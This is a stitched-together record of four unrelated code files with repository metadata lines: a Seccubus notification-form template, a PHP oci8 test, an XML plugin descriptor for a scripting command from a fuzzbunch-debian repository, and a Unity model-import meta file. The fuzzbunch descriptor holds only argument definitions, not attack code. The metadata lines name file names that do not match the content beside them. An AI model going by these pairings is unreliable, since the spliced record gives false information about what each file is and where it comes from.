<%# Copyright 2014 Frank Breedijk %> <%# %> <%# Licensed under the Apache License, Version 2.0 (the "License"); %> <%# you may not use this file except in compliance with the License. %> <%# You may obtain a copy of the License at %> <%# %> <%# http://www.apache.org/licenses/LICENSE-2.0 %> <%# %> <%# Unless required by applicable law or agreed to in writing, software %> <%# distributed under the License is distributed on an "AS IS" BASIS, %> <%# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. %> <%# See the License for the specific language governing permissions and %> <%# limitations under the License. %> <h2>Create a new notification</h2> <table class='noborder'> <tr><td class='noborder'> <label for='subject'>Subject</label> </td><td class='noborder'> <input type='input' size=78 name='subject' id='newNotSubject'/> </td></tr> <tr><td class='noborder'> <label for='trigger'>Trigger</label> </td><td class='noborder'> <select name='trigger' id='newNotTrigger'/></select> </td></tr> <tr><td class='noborder'> <label for='recipients'>Recipients</label> </td><td class='noborder'> <input type='input' size=78 name='recipients' id='newNotRecipients'/> </td></tr> <tr><td class='noborder'> <label for='message'>Message</label> </td><td class='noborder'> <textarea rows=5 cols=59 name='message' id='newNotMessage'/> </td></tr> <tr><td class='noborder'> &nbsp; </td><td class='noborder'> The following keywords can be used in the message and subject: <ul> <li>$WORKSPACE - name of the workspace <li>$SCAN - Name of the scan <li>$SCANNER - Name of the scanner used <li>$PARAMETERS - Scanner parameters <li>$TIME - Time of the scan <li>$ATTN - Number of findings that need you attention (Only after scan) <li>$TARGETS - Targets of the scan (Only in message) <li>$SUMMARY - Summary of findings (Only in message, only after scan) <li>$NEW, $OPEN, $CHANGED, $NOISSUE, $GONE, $CLOSED, $MASKED <br>- Number of findings of that status (Only after scan) <LI>$ATTACH:<ext> - Attach run attachment with that extension to the mail (Only in<br> message, only after scan) E.g. if you specify $ATTACH:ivil.xml here, the all files with<br> extension ivil.xml that are attacjed to the run, will be sent as attachment in the email. </ul> </td></tr> <tr><td class='noborder' colspan=2 align='right'> <input type='submit' value='Create Notification'/> <button type='button' class='cancel'>Cancel</button> </td></tr> </table>
{'repo_name': 'seccubus/seccubus', 'stars': '590', 'repo_language': 'JavaScript', 'file_name': 'build', 'mime_type': 'text/x-shellscript', 'hash': -574597502974633762, 'source_dataset': 'data'}
--TEST-- oci_collection_assign() --SKIPIF-- <?php $target_dbs = array('oracledb' => true, 'timesten' => false); // test runs on these DBs require(__DIR__.'/skipif.inc'); ?> --FILE-- <?php require __DIR__."/connect.inc"; require __DIR__."/create_type.inc"; $coll1 = oci_new_collection($c, $type_name); $coll2 = oci_new_collection($c, $type_name); var_dump($coll1->append(1)); var_dump($coll2->assign($coll1)); var_dump($coll2->getElem(0)); echo "Done\n"; require __DIR__."/drop_type.inc"; ?> --EXPECT-- bool(true) bool(true) float(1) Done
{'repo_name': 'php/php-src', 'stars': '27767', 'repo_language': 'C', 'file_name': 'echo.inc', 'mime_type': 'text/x-php', 'hash': -8347551418866018221, 'source_dataset': 'data'}
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Plugin provider="0x101200a" interface="0x01c10032"> <Command name="Python" id="0"> <Help>For information about scripting, please see user documentation.</Help> <Input> <Argument name='script' optional='false' data='script'> <Help>The script to run.</Help> </Argument> <Option name='args' optional='true'> <Help>Script arguments</Help> <Argument name='script_args' optional='false' data='args'/> </Option> <Option name='project' optional='true'> <Help>Limit script searches to a given project</Help> <Argument name='name' optional='false' data='project'/> </Option> <Option name="quiet" optional='true'> <Help>Enable quiet if parent echo'ing is disabled</Help> <Set data='noquiet' value='false'/> </Option> <Option name="threads" optional='true'> <Help>Enable threading (not supported/recommended for most cases)</Help> <Set data='enablethreading' value='true'/> </Option> </Input> <Output> <Data name='script' type='string'/> <Data name='args' type='string'/> <Data name='project' type='string'/> <Data name='noquiet' type='bool' default='true'/> <Data name='enablethreading' type='bool' default='false'/> </Output> </Command> </Plugin>
{'repo_name': 'mdiazcl/fuzzbunch-debian', 'stars': '124', 'repo_language': 'Python', 'file_name': 'Eternalchampion-2.0.0.fb', 'mime_type': 'text/xml', 'hash': -9140043813005813734, 'source_dataset': 'data'}
fileFormatVersion: 2 guid: 8c6f3ced7513b38468e660f8ff12ab3c ModelImporter: serializedVersion: 27 internalIDToNameTable: - first: 1: 100000 second: //RootNode - first: 1: 100002 second: Palm_02_billboard - first: 4: 400000 second: //RootNode - first: 4: 400002 second: Palm_02_billboard - first: 21: 2100000 second: Default - first: 21: 2100002 second: Trees_Billboard - first: 23: 2300000 second: //RootNode - first: 23: 2300002 second: Palm_02_billboard - first: 33: 3300000 second: //RootNode - first: 33: 3300002 second: Palm_02_billboard - first: 43: 4300000 second: Palm_02 - first: 43: 4300002 second: Palm_02_billboard - first: 74: 7400000 second: Take 001 - first: 95: 9500000 second: //RootNode externalObjects: - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: Default second: {fileID: 2100000, guid: 65362f8b29e996742896ce4dd8a6d723, type: 2} - first: type: UnityEngine:Material assembly: UnityEngine.CoreModule name: Trees_Billboard second: {fileID: 2100000, guid: 7e3016a4668af4ed0879281ab8cfda9b, type: 2} materials: importMaterials: 1 materialName: 0 materialSearch: 1 materialLocation: 1 animations: legacyGenerateAnimations: 4 bakeSimulation: 0 resampleCurves: 1 optimizeGameObjects: 0 motionNodeName: rigImportErrors: rigImportWarnings: animationImportErrors: animationImportWarnings: animationRetargetingWarnings: animationDoRetargetingWarnings: 0 importAnimatedCustomProperties: 0 importConstraints: 0 animationCompression: 1 animationRotationError: 0.5 animationPositionError: 0.5 animationScaleError: 0.5 animationWrapMode: 0 extraExposedTransformPaths: [] extraUserProperties: [] clipAnimations: [] isReadable: 1 meshes: lODScreenPercentages: [] globalScale: 2 meshCompression: 0 addColliders: 0 useSRGBMaterialColor: 1 sortHierarchyByName: 1 importVisibility: 1 importBlendShapes: 1 importCameras: 1 importLights: 1 swapUVChannels: 0 generateSecondaryUV: 0 useFileUnits: 1 keepQuads: 0 weldVertices: 1 preserveHierarchy: 0 skinWeightsMode: 0 maxBonesPerVertex: 4 minBoneWeight: 0.001 meshOptimizationFlags: -1 indexFormat: 0 secondaryUVAngleDistortion: 8 secondaryUVAreaDistortion: 15.000001 secondaryUVHardAngle: 88 secondaryUVPackMargin: 4 useFileScale: 1 tangentSpace: normalSmoothAngle: 60 normalImportMode: 0 tangentImportMode: 3 normalCalculationMode: 4 legacyComputeAllNormalsFromSmoothingGroupsWhenMeshHasBlendShapes: 0 blendShapeNormalImportMode: 1 normalSmoothingSource: 0 referencedClips: [] importAnimation: 0 humanDescription: serializedVersion: 3 human: [] skeleton: [] armTwist: 0.5 foreArmTwist: 0.5 upperLegTwist: 0.5 legTwist: 0.5 armStretch: 0.05 legStretch: 0.05 feetSpacing: 0 globalScale: 2 rootMotionBoneName: hasTranslationDoF: 0 hasExtraRoot: 0 skeletonHasParents: 1 lastHumanDescriptionAvatarSource: {instanceID: 0} animationType: 0 humanoidOversampling: 1 avatarSetup: 0 additionalBone: 0 userData: assetBundleName: assetBundleVariant:
{'repo_name': 'Verasl/BoatAttack', 'stars': '1199', 'repo_language': 'C#', 'file_name': 'AudioManager.asset', 'mime_type': 'text/plain', 'hash': 4560004890260218874, 'source_dataset': 'data'}